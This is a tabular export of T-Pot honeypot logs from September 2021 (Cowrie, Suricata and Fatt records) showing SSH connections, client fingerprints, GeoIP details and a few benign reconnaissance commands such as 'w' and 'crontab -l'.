32645	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:18.220941+03	2021-09-20 15:00:03.747747+03	{"_id": "qAYNA3wBvYTbRNuEqEsI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "96.78.175.36", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.3664717674255371, "duplicate": true, "timestamp": "2021-09-20T11:53:18.220941Z", "@timestamp": "2021-09-20T11:53:18.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32646	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:18.510548+03	2021-09-20 15:00:03.748747+03	{"_id": "qwYNA3wBvYTbRNuEqEsI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:18.510548Z", "@timestamp": "2021-09-20T11:53:18.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32647	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:19.835696+03	2021-09-20 15:00:03.750747+03	{"_id": "uQYNA3wBvYTbRNuEq0vy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:19.835696Z", "@timestamp": "2021-09-20T11:53:19.835Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32648	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:19.167454+03	2021-09-20 15:00:03.751744+03	{"_id": "uwYNA3wBvYTbRNuEq0vz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:19.167454Z", "@timestamp": "2021-09-20T11:53:19.167Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32649	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:19.166884+03	2021-09-20 15:00:03.752735+03	{"_id": "vgYNA3wBvYTbRNuEq0v0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:19.166884Z", "@timestamp": "2021-09-20T11:53:19.166Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32650	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:53:19.860622+03	2021-09-20 15:00:03.753758+03	{"_id": "vQYNA3wBvYTbRNuEq0vz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "53ad0123b13b", "@version": "1", "timestamp": "2021-09-20T11:53:19.860622Z", "@timestamp": "2021-09-20T11:53:19.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32651	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:53:19.579171+03	2021-09-20 15:00:03.754748+03	{"_id": "vwYNA3wBvYTbRNuEq0v1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.17.12:39814 (192.168.176.2:22) [session: 53ad0123b13b]", "session": "53ad0123b13b", "@version": "1", "protocol": "ssh", "src_port": 39814, "dest_port": 22, "timestamp": "2021-09-20T11:53:19.579171Z", "@timestamp": "2021-09-20T11:53:19.579Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32652	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:19.529543+03	2021-09-20 15:00:03.756748+03	{"_id": "wAYNA3wBvYTbRNuEq0v1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "96.78.175.36", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.36275267601013184, "duplicate": true, "timestamp": "2021-09-20T11:53:19.529543Z", "@timestamp": "2021-09-20T11:53:19.529Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32653	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:53:19.585111+03	2021-09-20 15:00:03.757746+03	{"_id": "wQYNA3wBvYTbRNuEq0v1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "53ad0123b13b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:53:19.585111Z", "@timestamp": "2021-09-20T11:53:19.585Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32758	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:25.825941+03	2021-09-20 15:00:03.888722+03	{"_id": "NgYNA3wBvYTbRNuEw0xn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:25.825941Z", "@timestamp": "2021-09-20T11:53:25.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32654	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:19.894355+03	2021-09-20 15:00:03.758747+03	{"_id": "wgYNA3wBvYTbRNuEq0v1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:19.894355Z", "@timestamp": "2021-09-20T11:53:19.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32655	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:53:19.787918+03	2021-09-20 15:00:03.759746+03	{"_id": "wwYNA3wBvYTbRNuErUth", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 61449, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3075, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1441274895793708, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 38481, "timestamp": "2021-09-20T11:53:19.787918Z", "@timestamp": "2021-09-20T11:53:19.787Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32656	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:53:19.860387+03	2021-09-20 15:00:03.761718+03	{"_id": "xAYNA3wBvYTbRNuErUth", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:53:19.300693+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 485051966920341, "payload": "AAADzAYUA8mTEGTjlBQxq+SHUb2wiwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39814, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:53:19.860387Z", "@timestamp": "2021-09-20T11:53:19.860Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........d...1...Q......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32657	8.30.234.130	109.199.241.180	Suricata	2021-09-20 14:53:20.21977+03	2021-09-20 15:00:03.762718+03	{"_id": "xwYNA3wBvYTbRNuErUth", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.62.82.9821415109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:53:19.851263+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.30.234.130", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1868890429717823, "payload": "AAAAVC4eAAAAILx++79UHxr3KJ4W5NjZWPiJx2yo+wMB+fZrC1r1qJIzY/2h9wNAJNxqz/KpwmaQrbxLffmg7FjW5LcNNw+lK2yXyjV+duJx16+xaWS9sw==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59975, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:53:20.219770Z", "@timestamp": "2021-09-20T11:53:20.219Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... .~..T...(.....X...l......k.Z...3c....@$.j....f...K}...X...\\r7..+l..5~v.q...id.."}}	1	\N	\N	alert	\N	\N
32658	81.71.17.12	109.199.241.180	Fatt	2021-09-20 14:53:19.860387+03	2021-09-20 15:00:03.763716+03	{"_id": "0QYNA3wBvYTbRNuErkts", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 39814, "dest_port": 22, "timestamp": "2021-09-20T11:53:19.860387", "@timestamp": "2021-09-20T11:53:19.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known 